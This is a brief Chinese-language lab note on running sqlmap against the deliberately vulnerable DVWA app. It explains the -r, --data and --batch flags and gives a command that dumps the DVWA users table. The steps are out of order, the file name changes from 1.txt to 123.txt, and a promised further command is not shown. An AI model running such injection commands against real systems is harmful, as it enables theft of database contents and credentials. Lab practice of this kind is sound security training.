关注
Sqlmap 实验
点击文件在这里打开终端，输入sqlmap -r 1.txt --data=id --batch（-r参数是指定一个文件，-data是指定我们要进行sql注入的参数，-batch意思是选择默认参数）使用sqlmap -r 123.txt --data=id --batch -D dvwa -T users –dump语句能查看所有users表中内容。#创建一个1.txt文件，将获取的数据复制进去（在本机创建后复制到虚拟机内）获得user表，再通过下面命令列出dvwa数据库下，users表中的列名。
